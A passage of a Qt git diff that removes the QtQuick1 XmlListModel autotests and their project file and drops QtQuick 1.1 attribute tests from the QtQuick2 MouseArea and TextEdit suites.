QTest::newRow("missing number field") << "" - << "numberValue" << QVariant(""); - double nan = qQNaN(); - QTest::newRow("empty number field") << "" - << "numberValue" << QVariant(nan); - QTest::newRow("number field with string") << "a string" - << "numberValue" << QVariant(nan); - QTest::newRow("-1") << "-1" - << "numberValue" << QVariant("-1"); - QTest::newRow("-1.5") << "-1.5" - << "numberValue" << QVariant("-1.5"); - QTest::newRow("0") << "0" - << "numberValue" << QVariant("0"); - QTest::newRow("+1") << "1" - << "numberValue" << QVariant("1"); - QTest::newRow("+1.5") << "1.5" - << "numberValue" << QVariant("1.5"); -} - -void tst_qdeclarativexmllistmodel::cdata() -{ - QDeclarativeComponent component(&engine, QUrl::fromLocalFile(SRCDIR "/data/recipes.qml")); - QDeclarative1XmlListModel *model = qobject_cast(component.create()); - QVERIFY(model != 0); - QTRY_COMPARE(model->count(), 5); - - QList roles; - roles << Qt::UserRole + 2; - QHash data = model->data(2, roles); - QVERIFY(data.count() == 1); - QVERIFY(data.value(Qt::UserRole+2).toString().startsWith(QLatin1String(""))); - - delete model; -} - -void tst_qdeclarativexmllistmodel::attributes() -{ - QDeclarativeComponent component(&engine, QUrl::fromLocalFile(SRCDIR "/data/recipes.qml")); - QDeclarative1XmlListModel *model = qobject_cast(component.create()); - QVERIFY(model != 0); - QTRY_COMPARE(model->count(), 5); - QList roles; - roles << Qt::UserRole; - QHash data = model->data(2, roles); - QVERIFY(data.count() == 1); - QCOMPARE(data.value(Qt::UserRole).toString(), QLatin1String("Vegetable Soup")); - - delete model; -} - -void tst_qdeclarativexmllistmodel::roles() -{ - QDeclarativeComponent component(&engine, QUrl::fromLocalFile(SRCDIR "/data/model.qml")); - QDeclarative1XmlListModel *model = qobject_cast(component.create()); - QVERIFY(model != 0); - QTRY_COMPARE(model->count(), 9); - - QList roles = model->roles(); - QCOMPARE(roles.count(), 4); - QCOMPARE(model->toString(roles.at(0)), QLatin1String("name")); - QCOMPARE(model->toString(roles.at(1)), QLatin1String("type")); - QCOMPARE(model->toString(roles.at(2)), QLatin1String("age")); - QCOMPARE(model->toString(roles.at(3)), QLatin1String("size")); - - delete model; -} - -void tst_qdeclarativexmllistmodel::roleErrors() -{ - QDeclarativeComponent component(&engine, QUrl::fromLocalFile(SRCDIR "/data/roleErrors.qml")); - QTest::ignoreMessage(QtWarningMsg, (QUrl::fromLocalFile(SRCDIR "/data/roleErrors.qml").toString() + ":6:5: QML XmlRole: An XmlRole query must not start with '/'").toUtf8().constData()); - QTest::ignoreMessage(QtWarningMsg, (QUrl::fromLocalFile(SRCDIR "/data/roleErrors.qml").toString() + ":9:5: QML XmlRole: invalid query: \"age/\"").toUtf8().constData()); - - //### make sure we receive all expected warning messages. - QDeclarative1XmlListModel *model = qobject_cast(component.create()); - QVERIFY(model != 0); - QTRY_COMPARE(model->count(), 9); - - QList roles; - roles << Qt::UserRole << Qt::UserRole + 1 << Qt::UserRole + 2 << Qt::UserRole + 3; - QHash data = model->data(3, roles); - QVERIFY(data.count() == 4); - - //### should any of these return valid values? - QCOMPARE(data.value(Qt::UserRole), QVariant()); - QCOMPARE(data.value(Qt::UserRole+1), QVariant()); - QCOMPARE(data.value(Qt::UserRole+2), QVariant()); - - QEXPECT_FAIL("", "QTBUG-10797", Continue); - QCOMPARE(data.value(Qt::UserRole+3), QVariant()); - - delete model; -} - -void tst_qdeclarativexmllistmodel::uniqueRoleNames() -{ - QDeclarativeComponent component(&engine, QUrl::fromLocalFile(SRCDIR "/data/unique.qml")); - QTest::ignoreMessage(QtWarningMsg, (QUrl::fromLocalFile(SRCDIR "/data/unique.qml").toString() + ":7:5: QML XmlRole: \"name\" duplicates a previous role name and will be disabled.").toUtf8().constData()); - QDeclarative1XmlListModel *model = qobject_cast(component.create()); - QVERIFY(model != 0); - QTRY_COMPARE(model->count(), 9); - - QList roles = model->roles(); - QCOMPARE(roles.count(), 1); - - delete model; -} - - -void tst_qdeclarativexmllistmodel::xml() -{ - QFETCH(QString, xml); - QFETCH(int, count); - - QDeclarativeComponent component(&engine, QUrl::fromLocalFile(SRCDIR "/data/model.qml")); - QDeclarative1XmlListModel *model = qobject_cast(component.create()); - QSignalSpy spy(model, SIGNAL(statusChanged(QDeclarative1XmlListModel::Status))); - - QVERIFY(model->errorString().isEmpty()); - QCOMPARE(model->progress(), qreal(0.0)); - QCOMPARE(model->status(), QDeclarative1XmlListModel::Loading); - QTRY_COMPARE(spy.count(), 1); spy.clear(); - QCOMPARE(model->status(), QDeclarative1XmlListModel::Ready); - QVERIFY(model->errorString().isEmpty()); - QCOMPARE(model->progress(), qreal(1.0)); - QCOMPARE(model->count(), 9); - - // if xml is empty (i.e. clearing) it won't have any effect if a source is set - if (xml.isEmpty()) - model->setSource(QUrl()); - model->setXml(xml); - QCOMPARE(model->progress(), qreal(1.0)); // immediately goes to 1.0 if using setXml() - QTRY_COMPARE(spy.count(), 1); spy.clear(); - QCOMPARE(model->status(), QDeclarative1XmlListModel::Loading); - QTRY_COMPARE(spy.count(), 1); spy.clear(); - QCOMPARE(model->status(), QDeclarative1XmlListModel::Ready); - QVERIFY(model->errorString().isEmpty()); - QCOMPARE(model->count(), count); - - delete model; -} - -void tst_qdeclarativexmllistmodel::xml_data() -{ - QTest::addColumn("xml"); - QTest::addColumn("count"); - - QTest::newRow("xml with no items") << "" << 0; - QTest::newRow("empty xml") << "" << 0; - QTest::newRow("one item") << "HobbesTiger7Large" << 1; -} - -void tst_qdeclarativexmllistmodel::headers() -{ - // ensure the QNetworkAccessManagers created for this test are immediately deleted - QDeclarativeEngine qmlEng; - - CustomNetworkAccessManagerFactory factory; - qmlEng.setNetworkAccessManagerFactory(&factory); - - QDeclarativeComponent component(&qmlEng, QUrl::fromLocalFile(SRCDIR "/data/model.qml")); - QDeclarative1XmlListModel *model = qobject_cast(component.create()); - QVERIFY(model != 0); - QTRY_COMPARE(model->status(), QDeclarative1XmlListModel::Ready); - - QVariantMap expectedHeaders; - expectedHeaders["Accept"] = "application/xml,*/*"; - - QCOMPARE(factory.lastSentHeaders.count(), expectedHeaders.count()); - foreach (const QString &header, expectedHeaders.keys()) { - QVERIFY(factory.lastSentHeaders.contains(header)); - QCOMPARE(factory.lastSentHeaders[header].toString(), expectedHeaders[header].toString()); - } - - delete model; -} - -void tst_qdeclarativexmllistmodel::source() -{ - QFETCH(QUrl, source); - QFETCH(int, count); - QFETCH(QDeclarative1XmlListModel::Status, status); - - QDeclarativeComponent component(&engine, QUrl::fromLocalFile(SRCDIR "/data/model.qml")); - QDeclarative1XmlListModel *model = qobject_cast(component.create()); - QSignalSpy spy(model, SIGNAL(statusChanged(QDeclarative1XmlListModel::Status))); - - QVERIFY(model->errorString().isEmpty()); - QCOMPARE(model->progress(), qreal(0.0)); - QCOMPARE(model->status(), QDeclarative1XmlListModel::Loading); - QTRY_COMPARE(spy.count(), 1); spy.clear(); - QCOMPARE(model->status(), QDeclarative1XmlListModel::Ready); - QVERIFY(model->errorString().isEmpty()); - QCOMPARE(model->progress(), qreal(1.0)); - QCOMPARE(model->count(), 9); - - model->setSource(source); - QCOMPARE(model->progress(), qreal(0.0)); - QTRY_COMPARE(spy.count(), 1); spy.clear(); - QCOMPARE(model->status(), QDeclarative1XmlListModel::Loading); - QVERIFY(model->errorString().isEmpty()); - - QEventLoop loop; - QTimer timer; - timer.setSingleShot(true); - connect(model, SIGNAL(statusChanged(QDeclarative1XmlListModel::Status)), &loop, SLOT(quit())); - connect(&timer, SIGNAL(timeout()), &loop, SLOT(quit())); - timer.start(20000); - loop.exec(); - - if (spy.count() == 0 && status != QDeclarative1XmlListModel::Ready) { - qWarning("QDeclarative1XmlListModel invalid source test timed out"); - } else { - QCOMPARE(spy.count(), 1); spy.clear(); - } - - QCOMPARE(model->status(), status); - QCOMPARE(model->count(), count); - - if (status == QDeclarative1XmlListModel::Ready) - QCOMPARE(model->progress(), qreal(1.0)); - - QCOMPARE(model->errorString().isEmpty(), status == QDeclarative1XmlListModel::Ready); - - delete model; -} - -void tst_qdeclarativexmllistmodel::source_data() -{ - QTest::addColumn("source"); - QTest::addColumn("count"); - QTest::addColumn("status"); - - QTest::newRow("valid") << QUrl::fromLocalFile(SRCDIR "/data/model2.xml") << 2 << QDeclarative1XmlListModel::Ready; - QTest::newRow("invalid") << QUrl("http://blah.blah/blah.xml") << 0 << QDeclarative1XmlListModel::Error; - - // empty file - QTemporaryFile *temp = new QTemporaryFile(this); - if (temp->open()) - QTest::newRow("empty file") << QUrl::fromLocalFile(temp->fileName()) << 0 << QDeclarative1XmlListModel::Ready; - temp->close(); -} - -void tst_qdeclarativexmllistmodel::data() -{ - QDeclarativeComponent component(&engine, QUrl::fromLocalFile(SRCDIR "/data/model.qml")); - QDeclarative1XmlListModel *model = qobject_cast(component.create()); - QVERIFY(model != 0); - - QHash blank; - for (int i=0; iroles().count(); i++) - blank.insert(model->roles()[i], QVariant()); - for (int i=0; i<9; i++) { - QCOMPARE(model->data(i, model->roles()), blank); - for (int j=0; jroles().count(); j++) { - QCOMPARE(model->data(i, j), QVariant()); - } - } - QTRY_COMPARE(model->count(), 9); - - delete model; -} - -void tst_qdeclarativexmllistmodel::get() -{ - QDeclarativeComponent component(&engine, QUrl::fromLocalFile(SRCDIR "/data/get.qml")); - QDeclarative1XmlListModel *model = qobject_cast(component.create()); - QVERIFY(model != 0); - - QVERIFY(QMetaObject::invokeMethod(model, "runPreTest")); - QCOMPARE(model->property("preTest").toBool(), true); - - QTRY_COMPARE(model->count(), 9); - - QVERIFY(QMetaObject::invokeMethod(model, "runPostTest")); - QCOMPARE(model->property("postTest").toBool(), true); - - delete model; -} - -void tst_qdeclarativexmllistmodel::reload() -{ - // If no keys are used, the model should be rebuilt from scratch when - // reload() is called. - - QDeclarativeComponent component(&engine, QUrl::fromLocalFile(SRCDIR "/data/model.qml")); - QDeclarative1XmlListModel *model = qobject_cast(component.create()); - QVERIFY(model != 0); - QTRY_COMPARE(model->count(), 9); - - QSignalSpy spyInsert(model, SIGNAL(itemsInserted(int,int))); - QSignalSpy spyRemove(model, SIGNAL(itemsRemoved(int,int))); - QSignalSpy spyCount(model, SIGNAL(countChanged())); - - //reload multiple times to test the xml query aborting - model->reload(); - model->reload(); - QCoreApplication::processEvents(); - model->reload(); - model->reload(); - QTRY_COMPARE(spyCount.count(), 1); - QTRY_COMPARE(spyInsert.count(), 1); - QTRY_COMPARE(spyRemove.count(), 1); - - QCOMPARE(spyInsert[0][0].toInt(), 0); - QCOMPARE(spyInsert[0][1].toInt(), 9); - - QCOMPARE(spyRemove[0][0].toInt(), 0); - QCOMPARE(spyRemove[0][1].toInt(), 9); - - delete model; -} - -void tst_qdeclarativexmllistmodel::useKeys() -{ - // If using incremental updates through keys, the model should only - // insert & remove some of the items, instead of throwing everything - // away and causing the view to repaint the whole view. - - QFETCH(QString, oldXml); - QFETCH(int, oldCount); - QFETCH(QString, newXml); - QFETCH(QDeclarativeXmlModelData, newData); - QFETCH(QList, insertRanges); - QFETCH(QList, removeRanges); - - QDeclarativeComponent component(&engine, QUrl::fromLocalFile(SRCDIR "/data/roleKeys.qml")); - QDeclarative1XmlListModel *model = qobject_cast(component.create()); - QVERIFY(model != 0); - - model->setXml(oldXml); - QTRY_COMPARE(model->count(), oldCount); - - QSignalSpy spyInsert(model, SIGNAL(itemsInserted(int,int))); - QSignalSpy spyRemove(model, SIGNAL(itemsRemoved(int,int))); - QSignalSpy spyCount(model, SIGNAL(countChanged())); - - model->setXml(newXml); - - if (oldCount != newData.count()) { - QTRY_COMPARE(model->count(), newData.count()); - QCOMPARE(spyCount.count(), 1); - } else { - QTRY_VERIFY(spyInsert.count() > 0 || spyRemove.count() > 0); - QCOMPARE(spyCount.count(), 0); - } - - QList roles = model->roles(); - for (int i=0; icount(); i++) { - for (int j=0; jdata(i, roles[j]), newData[i][j]); - } - - QCOMPARE(spyInsert.count(), insertRanges.count()); - for (int i=0; i("oldXml"); - QTest::addColumn("oldCount"); - QTest::addColumn("newXml"); - QTest::addColumn("newData"); - QTest::addColumn >("insertRanges"); - QTest::addColumn >("removeRanges"); - - QDeclarativeXmlModelData modelData; - - QTest::newRow("append 1") - << makeItemXmlAndData("name=A,age=25,sport=Football") << 1 - << makeItemXmlAndData("name=A,age=25,sport=Football;name=B,age=35,sport=Athletics", &modelData) - << modelData - << (QList() << qMakePair(1, 1)) - << QList(); - - QTest::newRow("append multiple") - << makeItemXmlAndData("name=A,age=25,sport=Football") << 1 - << makeItemXmlAndData("name=A,age=25,sport=Football;name=B,age=35,sport=Athletics;name=C,age=45,sport=Curling", &modelData) - << modelData - << (QList() << qMakePair(1, 2)) - << QList(); - - QTest::newRow("insert in different spots") - << makeItemXmlAndData("name=B,age=35,sport=Athletics") << 1 - << makeItemXmlAndData("name=A,age=25,sport=Football;name=B,age=35,sport=Athletics;name=C,age=45,sport=Curling;name=D,age=55,sport=Golf", &modelData) - << modelData - << (QList() << qMakePair(0, 1) << qMakePair(2,2)) - << QList(); - - QTest::newRow("insert in middle") - << makeItemXmlAndData("name=A,age=25,sport=Football;name=D,age=55,sport=Golf") << 2 - << makeItemXmlAndData("name=A,age=25,sport=Football;name=B,age=35,sport=Athletics;name=C,age=45,sport=Curling;name=D,age=55,sport=Golf", &modelData) - << modelData - << (QList() << qMakePair(1, 2)) - << QList(); - - QTest::newRow("remove first") - << makeItemXmlAndData("name=A,age=25,sport=Football;name=B,age=35,sport=Athletics") << 2 - << makeItemXmlAndData("name=B,age=35,sport=Athletics", &modelData) - << modelData - << QList() - << (QList() << qMakePair(0, 1)); - - QTest::newRow("remove last") - << makeItemXmlAndData("name=A,age=25,sport=Football;name=B,age=35,sport=Athletics") << 2 - << makeItemXmlAndData("name=A,age=25,sport=Football", &modelData) - << modelData - << QList() - << (QList() << qMakePair(1, 1)); - - QTest::newRow("remove from multiple spots") - << makeItemXmlAndData("name=A,age=25,sport=Football;name=B,age=35,sport=Athletics;name=C,age=45,sport=Curling;name=D,age=55,sport=Golf;name=E,age=65,sport=Fencing") << 5 - << makeItemXmlAndData("name=A,age=25,sport=Football;name=C,age=45,sport=Curling", &modelData) - << modelData - << QList() - << (QList() << qMakePair(1, 1) << qMakePair(3,2)); - - QTest::newRow("remove all") - << makeItemXmlAndData("name=A,age=25,sport=Football;name=B,age=35,sport=Athletics;name=C,age=45,sport=Curling") << 3 - << makeItemXmlAndData("", &modelData) - << modelData - << QList() - << (QList() << qMakePair(0, 3)); - - QTest::newRow("replace item") - << makeItemXmlAndData("name=A,age=25,sport=Football") << 1 - << makeItemXmlAndData("name=ZZZ,age=25,sport=Football", &modelData) - << modelData - << (QList() << qMakePair(0, 1)) - << (QList() << qMakePair(0, 1)); - - QTest::newRow("add and remove simultaneously, in different spots") - << makeItemXmlAndData("name=A,age=25,sport=Football;name=B,age=35,sport=Athletics;name=C,age=45,sport=Curling;name=D,age=55,sport=Golf") << 4 - << makeItemXmlAndData("name=B,age=35,sport=Athletics;name=E,age=65,sport=Fencing", &modelData) - << modelData - << (QList() << qMakePair(1, 1)) - << (QList() << qMakePair(0, 1) << qMakePair(2,2)); - - QTest::newRow("insert at start, remove at end i.e. rss feed") - << makeItemXmlAndData("name=C,age=45,sport=Curling;name=D,age=55,sport=Golf;name=E,age=65,sport=Fencing") << 3 - << makeItemXmlAndData("name=A,age=25,sport=Football;name=B,age=35,sport=Athletics;name=C,age=45,sport=Curling", &modelData) - << modelData - << (QList() << qMakePair(0, 2)) - << (QList() << qMakePair(1, 2)); - - QTest::newRow("remove at start, insert at end") - << makeItemXmlAndData("name=A,age=25,sport=Football;name=B,age=35,sport=Athletics;name=C,age=45,sport=Curling") << 3 - << makeItemXmlAndData("name=C,age=45,sport=Curling;name=D,age=55,sport=Golf;name=E,age=65,sport=Fencing", &modelData) - << modelData - << (QList() << qMakePair(1, 2)) - << (QList() << qMakePair(0, 2)); - - QTest::newRow("all data has changed") - << makeItemXmlAndData("name=A,age=25,sport=Football;name=B,age=35") << 2 - << makeItemXmlAndData("name=C,age=45,sport=Curling;name=D,age=55,sport=Golf", &modelData) - << modelData - << (QList() << qMakePair(0, 2)) - << (QList() << qMakePair(0, 2)); -} - -void tst_qdeclarativexmllistmodel::noKeysValueChanges() -{ - // The 'key' roles are 'name' and 'age', as defined in roleKeys.qml. - // If a 'sport' value is changed, the model should not be reloaded, - // since 'sport' is not marked as a key. - - QDeclarativeComponent component(&engine, QUrl::fromLocalFile(SRCDIR "/data/roleKeys.qml")); - QDeclarative1XmlListModel *model = qobject_cast(component.create()); - QVERIFY(model != 0); - - QString xml; - - xml = makeItemXmlAndData("name=A,age=25,sport=Football;name=B,age=35,sport=Athletics"); - model->setXml(xml); - QTRY_COMPARE(model->count(), 2); - - model->setXml(""); - - QSignalSpy spyInsert(model, SIGNAL(itemsInserted(int,int))); - QSignalSpy spyRemove(model, SIGNAL(itemsRemoved(int,int))); - QSignalSpy spyCount(model, SIGNAL(countChanged())); - - xml = makeItemXmlAndData("name=A,age=25,sport=AussieRules;name=B,age=35,sport=Athletics"); - model->setXml(xml); - - // wait for the new xml data to be set, and verify no signals were emitted - QTRY_VERIFY(model->data(0, model->roles()[2]).toString() != QLatin1String("Football")); - QCOMPARE(model->data(0, model->roles()[2]).toString(), QLatin1String("AussieRules")); - - QVERIFY(spyInsert.count() == 0); - QVERIFY(spyRemove.count() == 0); - QVERIFY(spyCount.count() == 0); - - QCOMPARE(model->count(), 2); - - delete model; -} - -void tst_qdeclarativexmllistmodel::keysChanged() -{ - // If the key roles change, the next time the data is reloaded, it should - // delete all its data and build a clean model (i.e. same behaviour as - // if no keys are set). - - QDeclarativeComponent component(&engine, QUrl::fromLocalFile(SRCDIR "/data/roleKeys.qml")); - QDeclarative1XmlListModel *model = qobject_cast(component.create()); - QVERIFY(model != 0); - - QString xml = makeItemXmlAndData("name=A,age=25,sport=Football;name=B,age=35,sport=Athletics"); - model->setXml(xml); - QTRY_COMPARE(model->count(), 2); - - model->setXml(""); - - QSignalSpy spyInsert(model, SIGNAL(itemsInserted(int,int))); - QSignalSpy spyRemove(model, SIGNAL(itemsRemoved(int,int))); - QSignalSpy spyCount(model, SIGNAL(countChanged())); - - QVERIFY(QMetaObject::invokeMethod(model, "disableNameKey")); - model->setXml(xml); - - QTRY_VERIFY(spyInsert.count() > 0 && spyRemove.count() > 0); - - QCOMPARE(spyInsert.count(), 1); - QCOMPARE(spyInsert[0][0].toInt(), 0); - QCOMPARE(spyInsert[0][1].toInt(), 2); - - QCOMPARE(spyRemove.count(), 1); - QCOMPARE(spyRemove[0][0].toInt(), 0); - QCOMPARE(spyRemove[0][1].toInt(), 2); - - QCOMPARE(spyCount.count(), 0); - - delete model; -} - -void tst_qdeclarativexmllistmodel::threading() -{ - QFETCH(int, xmlDataCount); - - QDeclarativeComponent component(&engine, QUrl::fromLocalFile(SRCDIR "/data/roleKeys.qml")); - - QDeclarative1XmlListModel *m1 = qobject_cast(component.create()); - QVERIFY(m1 != 0); - QDeclarative1XmlListModel *m2 = qobject_cast(component.create()); - QVERIFY(m2 != 0); - QDeclarative1XmlListModel *m3 = qobject_cast(component.create()); - QVERIFY(m3 != 0); - - for (int dataCount=0; dataCountsetXml(makeItemXmlAndData(data1)); - m2->setXml(makeItemXmlAndData(data2)); - m3->setXml(makeItemXmlAndData(data3)); - QCoreApplication::processEvents(); - m2->setXml(makeItemXmlAndData(data2)); - m1->setXml(makeItemXmlAndData(data1)); - m2->setXml(makeItemXmlAndData(data2)); - QCoreApplication::processEvents(); - m3->setXml(makeItemXmlAndData(data3)); - QCoreApplication::processEvents(); - m2->setXml(makeItemXmlAndData(data2)); - m1->setXml(makeItemXmlAndData(data1)); - m2->setXml(makeItemXmlAndData(data2)); - m3->setXml(makeItemXmlAndData(data3)); - QCoreApplication::processEvents(); - m2->setXml(makeItemXmlAndData(data2)); - m3->setXml(makeItemXmlAndData(data3)); - m3->setXml(makeItemXmlAndData(data3)); - QCoreApplication::processEvents(); - - QTRY_VERIFY(m1->count() == dataCount && m2->count() == dataCount && m3->count() == dataCount); - - for (int i=0; idata(i, m1->roles()[0]).toString(), QString("A" + QString::number(i))); - QCOMPARE(m1->data(i, m1->roles()[1]).toString(), QString("1" + QString::number(i))); - QCOMPARE(m1->data(i, m1->roles()[2]).toString(), QString("Football")); - - QCOMPARE(m2->data(i, m2->roles()[0]).toString(), QString("B" + QString::number(i))); - QCOMPARE(m2->data(i, m2->roles()[1]).toString(), QString("2" + QString::number(i))); - QCOMPARE(m2->data(i, m2->roles()[2]).toString(), QString("Athletics")); - - QCOMPARE(m3->data(i, m3->roles()[0]).toString(), QString("C" + QString::number(i))); - QCOMPARE(m3->data(i, m3->roles()[1]).toString(), QString("3" + QString::number(i))); - QCOMPARE(m3->data(i, m3->roles()[2]).toString(), QString("Curling")); - } - } - - delete m1; - delete m2; - delete m3; -} - -void tst_qdeclarativexmllistmodel::threading_data() -{ - QTest::addColumn("xmlDataCount"); - - QTest::newRow("1") << 1; - QTest::newRow("2") << 2; - QTest::newRow("10") << 10; -} - -void tst_qdeclarativexmllistmodel::propertyChanges() -{ - QDeclarativeComponent component(&engine, QUrl::fromLocalFile(SRCDIR "/data/propertychanges.qml")); - QDeclarative1XmlListModel *model = qobject_cast(component.create()); - QVERIFY(model != 0); - QTRY_COMPARE(model->count(), 9); - - QDeclarative1XmlListModelRole *role = model->findChild("role"); - QVERIFY(role); - - QSignalSpy nameSpy(role, SIGNAL(nameChanged())); - QSignalSpy querySpy(role, SIGNAL(queryChanged())); - QSignalSpy isKeySpy(role, SIGNAL(isKeyChanged())); - - role->setName("size"); - role->setQuery("size/string()"); - role->setIsKey(true); - - QCOMPARE(role->name(), QString("size")); - QCOMPARE(role->query(), QString("size/string()")); - QVERIFY(role->isKey()); - - QCOMPARE(nameSpy.count(),1); - QCOMPARE(querySpy.count(),1); - QCOMPARE(isKeySpy.count(),1); - - role->setName("size"); - role->setQuery("size/string()"); - role->setIsKey(true); - - QCOMPARE(nameSpy.count(),1); - QCOMPARE(querySpy.count(),1); - QCOMPARE(isKeySpy.count(),1); - - QSignalSpy sourceSpy(model, SIGNAL(sourceChanged())); - QSignalSpy xmlSpy(model, SIGNAL(xmlChanged())); - QSignalSpy modelQuerySpy(model, SIGNAL(queryChanged())); - QSignalSpy namespaceDeclarationsSpy(model, SIGNAL(namespaceDeclarationsChanged())); - - model->setSource(QUrl("")); - model->setXml("PollyParrot12Small"); - model->setQuery("/Pets"); - model->setNamespaceDeclarations("declare namespace media=\"http://search.yahoo.com/mrss/\";"); - - QCOMPARE(model->source(), QUrl("")); - QCOMPARE(model->xml(), QString("PollyParrot12Small")); - QCOMPARE(model->query(), QString("/Pets")); - QCOMPARE(model->namespaceDeclarations(), QString("declare namespace media=\"http://search.yahoo.com/mrss/\";")); - - QTRY_VERIFY(model->count() == 1); - - QCOMPARE(sourceSpy.count(),1); - QCOMPARE(xmlSpy.count(),1); - QCOMPARE(modelQuerySpy.count(),1); - QCOMPARE(namespaceDeclarationsSpy.count(),1); - - model->setSource(QUrl("")); - model->setXml("PollyParrot12Small"); - model->setQuery("/Pets"); - model->setNamespaceDeclarations("declare namespace media=\"http://search.yahoo.com/mrss/\";"); - - QCOMPARE(sourceSpy.count(),1); - QCOMPARE(xmlSpy.count(),1); - QCOMPARE(modelQuerySpy.count(),1); - QCOMPARE(namespaceDeclarationsSpy.count(),1); - - QTRY_VERIFY(model->count() == 1); - delete model; -} - -void tst_qdeclarativexmllistmodel::roleCrash() -{ - // don't crash - QDeclarativeComponent component(&engine, QUrl::fromLocalFile(SRCDIR "/data/roleCrash.qml")); - QDeclarative1XmlListModel *model = qobject_cast(component.create()); - QVERIFY(model != 0); - delete model; -} - -QTEST_MAIN(tst_qdeclarativexmllistmodel) - -#include "tst_qdeclarativexmllistmodel.moc" diff --git a/tests/auto/qtquick1/qtquick1.pro b/tests/auto/qtquick1/qtquick1.pro deleted file mode 100644 index f1177cd0f2..0000000000 --- a/tests/auto/qtquick1/qtquick1.pro +++ /dev/null @@ -1,50 +0,0 @@ -TEMPLATE = subdirs - -SUBDIRS += \ - qdeclarativeview \ - qdeclarativeviewer \ - moduleqt47 - -contains(QT_CONFIG, private_tests) { - SUBDIRS += \ - qdeclarativeanchors \ - qdeclarativeanimatedimage \ - qdeclarativeanimations \ - qdeclarativeapplication \ - qdeclarativebehaviors \ - qdeclarativebinding \ - qdeclarativeborderimage \ - qdeclarativeconnection \ - qdeclarativeflickable \ - qdeclarativeflipable \ - qdeclarativefocusscope \ - qdeclarativefontloader \ - qdeclarativegridview \ - qdeclarativeimage \ - qdeclarativeimageprovider \ - qdeclarativeitem \ - qdeclarativelayoutitem \ -# qdeclarativelistmodel \ - qdeclarativelistview \ - qdeclarativeloader \ - qdeclarativemousearea \ - qdeclarativeparticles \ - qdeclarativepathview \ - qdeclarativepincharea \ - qdeclarativepositioners \ - qdeclarativerepeater \ - qdeclarativesmoothedanimation \ - qdeclarativespringanimation \ - qdeclarativestates \ - qdeclarativesystempalette \ - qdeclarativetext \ - qdeclarativetextedit \ - qdeclarativetextinput \ - qdeclarativetimer \ - qdeclarativevisualdatamodel \ - qdeclarativexmllistmodel \ - examples - - # This test needs the xmlpatterns module - !contains(QT_CONFIG,xmlpatterns): SUBDIRS -= qdeclarativexmllistmodel -} diff --git a/tests/auto/qtquick2/qquickanchors/tst_qquickanchors.cpp b/tests/auto/qtquick2/qquickanchors/tst_qquickanchors.cpp index 75974307ba..54e3008549 100644 --- a/tests/auto/qtquick2/qquickanchors/tst_qquickanchors.cpp +++ b/tests/auto/qtquick2/qquickanchors/tst_qquickanchors.cpp @@ -314,7 +314,7 @@ void tst_qquickanchors::illegalSets() QDeclarativeEngine engine; QDeclarativeComponent component(&engine); - component.setData(QByteArray("import QtQuick 1.0\n" + qml.toUtf8()), QUrl::fromLocalFile("")); + component.setData(QByteArray("import QtQuick 2.0\n" + qml.toUtf8()), QUrl::fromLocalFile("")); if (!component.isReady()) qWarning() << "Test errors:" << component.errors(); QVERIFY(component.isReady()); diff --git a/tests/auto/qtquick2/qquickmousearea/tst_qquickmousearea.cpp b/tests/auto/qtquick2/qquickmousearea/tst_qquickmousearea.cpp index 9343602819..1520dd5d6e 100644 --- a/tests/auto/qtquick2/qquickmousearea/tst_qquickmousearea.cpp +++ b/tests/auto/qtquick2/qquickmousearea/tst_qquickmousearea.cpp @@ -69,8 +69,6 @@ private slots: void pressedOrdering(); void preventStealing(); void clickThrough(); - void testQtQuick11Attributes(); - void testQtQuick11Attributes_data(); void hoverPosition(); void hoverPropagation(); @@ -727,41 +725,6 @@ void tst_QQuickMouseArea::clickThrough() delete canvas; } -void tst_QQuickMouseArea::testQtQuick11Attributes() -{ - QFETCH(QString, code); - QFETCH(QString, warning); - QFETCH(QString, error); - - QDeclarativeEngine engine; - QObject *obj; - - QDeclarativeComponent valid(&engine); - valid.setData("import QtQuick 1.1; MouseArea { " + code.toUtf8() + " }", QUrl("")); - obj = valid.create(); - QVERIFY(obj); - QVERIFY(valid.errorString().isEmpty()); - delete obj; - - QDeclarativeComponent invalid(&engine); - invalid.setData("import QtQuick 1.0; MouseArea { " + code.toUtf8() + " }", QUrl("")); - QTest::ignoreMessage(QtWarningMsg, warning.toUtf8()); - obj = invalid.create(); - QCOMPARE(invalid.errorString(), error); - delete obj; -} - -void tst_QQuickMouseArea::testQtQuick11Attributes_data() -{ - QTest::addColumn("code"); - QTest::addColumn("warning"); - QTest::addColumn("error"); - - QTest::newRow("preventStealing") << "preventStealing: true" - << "QDeclarativeComponent: Component is not ready" - << ":1 \"MouseArea.preventStealing\" is not available in QtQuick 1.0.\n"; -} - void tst_QQuickMouseArea::hoverPosition() { QQuickView *canvas = createView(); diff --git a/tests/auto/qtquick2/qquicktextedit/tst_qquicktextedit.cpp b/tests/auto/qtquick2/qquicktextedit/tst_qquicktextedit.cpp index 7fd14fed43..8bea1170ad 100644 --- a/tests/auto/qtquick2/qquicktextedit/tst_qquicktextedit.cpp +++ b/tests/auto/qtquick2/qquicktextedit/tst_qquicktextedit.cpp @@ -150,8 +150,6 @@ private slots: void pastingRichText_QTBUG_14003(); void implicitSize_data(); void implicitSize(); - void testQtQuick11Attributes(); - void testQtQuick11Attributes_data(); void preeditCursorRectangle(); void inputMethodComposing(); @@ -2397,57 +2395,6 @@ void tst_qquicktextedit::implicitSize() QVERIFY(textObject->height() == textObject->implicitHeight()); } -void tst_qquicktextedit::testQtQuick11Attributes() -{ - QFETCH(QString, code); - QFETCH(QString, warning); - QFETCH(QString, error); - - QDeclarativeEngine engine; - QObject *obj; - - QDeclarativeComponent valid(&engine); - valid.setData("import QtQuick 2.0; TextEdit { " + code.toUtf8() + " }", QUrl("")); - obj = valid.create(); - QVERIFY(obj); - QVERIFY(valid.errorString().isEmpty()); - delete obj; - - QDeclarativeComponent invalid(&engine); - invalid.setData("import QtQuick 1.0; TextEdit { " + code.toUtf8() + " }", QUrl("")); - QTest::ignoreMessage(QtWarningMsg, warning.toUtf8()); - obj = invalid.create(); - QCOMPARE(invalid.errorString(), error); - delete obj; -} - -void tst_qquicktextedit::testQtQuick11Attributes_data() -{ - QTest::addColumn("code"); - QTest::addColumn("warning"); - QTest::addColumn("error"); - - QTest::newRow("canPaste") << "property bool foo: canPaste" - << ":1: ReferenceError: Can't find variable: canPaste" - << ""; - - QTest::newRow("lineCount") << "property int foo: lineCount" - << ":1: ReferenceError: Can't find variable: lineCount" - << ""; - - QTest::newRow("moveCursorSelection") << "Component.onCompleted: moveCursorSelection(0, TextEdit.SelectCharacters)" - << ":1: ReferenceError: Can't find variable: moveCursorSelection" - << ""; - - QTest::newRow("deselect") << "Component.onCompleted: deselect()" - << ":1: 